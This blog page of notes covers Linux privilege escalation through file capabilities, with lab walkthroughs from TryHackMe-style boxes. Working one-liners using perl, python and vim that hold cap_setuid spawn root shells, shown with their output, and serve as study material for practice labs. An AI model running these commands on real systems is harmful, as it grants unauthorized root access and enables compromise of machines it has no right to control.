Skip to main content

Linux Capabilities: Notes

Example: perl

hatter@wonderland:~$ getcap /usr/bin/perl
/usr/bin/perl = cap_setuid+ep
$ ./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
root@wonderland:~# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
root@wonderland:~#

Example: python2.6

TCM@debian:~$ getcap -r / 2>/dev/null
TCM@debian:~$ /usr/bin/python2.6 -c 'import os;os.setuid(0);os.system("/bin/bash")'
root@debian:~# id
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
root@debian:~#


leonard@undiscovered:~$ getcap -r /usr/bin/vim.basic
/usr/bin/vim.basic = cap_setuid+ep
leonard@undiscovered:~$ /usr/bin/vim.basic -c 'py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
^[[2;2R# id
sh: 1: ot found
sh: 1: 2Rid: not found
# id
uid=0(root) gid=1002(leonard) groups=1002(leonard),3004(developer)
#

References

Linux Privilege Escalation using Capabilities

Using POSIX Capabilities | THE URBAN PENGUIN

Practice

THM | Wonderland

THM | Undiscovered

Related articles

Linux SUID - Set User ID

Labels

Labels:

Popular posts from this blog

Linux command: lastlog

lastlog command reports the most recent login of all users or of a given user. NAME lastlog - reports the most recent login of all users or of a given user SYNOPSIS lastlog [options] DESCRIPTION lastlog formats and prints the contents of the last login log /var/log/lastlog file. The login-name, port, and last login time will be printed. The default (no flags) causes lastlog entries to be printed, sorted by their order in /etc/passwd. OPTIONS The options which apply to the lastlog command are: -b, --before DAYS Print only lastlog records older than DAYS. -h, --help Display help message and exit. -R, --root CHROOT_DIR Apply changes in the CHROOT_DIR directory and use the configuration files from the CHROOT_DIR directory. -t, --time DAYS Print the lastlog records more recent than DAYS. -u, --user LOGIN|RANGE Print the ...
Read more

Powershell: Get-ChildItem

List, search/find files and directories with Get-ChildItem cmdlet.
Read more

Powershell: Test-NetConnection

PS C:\Users\tuyen> get-help Test-NetConnection NAME     Test-NetConnection SYNTAX     Test-NetConnection [[-ComputerName] <string>] [-TraceRoute] [-Hops <int>] [-InformationLevel {Quiet |     Detailed}]  [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] [-CommonTCPPort] {HTTP | RDP | SMB | WINRM}     [-InformationLevel {Quiet | Detailed}]  [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] -Port <int> [-InformationLevel {Quiet | Detailed}]     [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] -DiagnoseRouting [-ConstrainSourceAddress <string>]     [-ConstrainInterface <uint32>] [-InformationLevel {Quiet | Detailed}]  [<CommonParameters>] ALIASES     TNC REMARKS     Get-Help cannot find the Help files fo...
Read more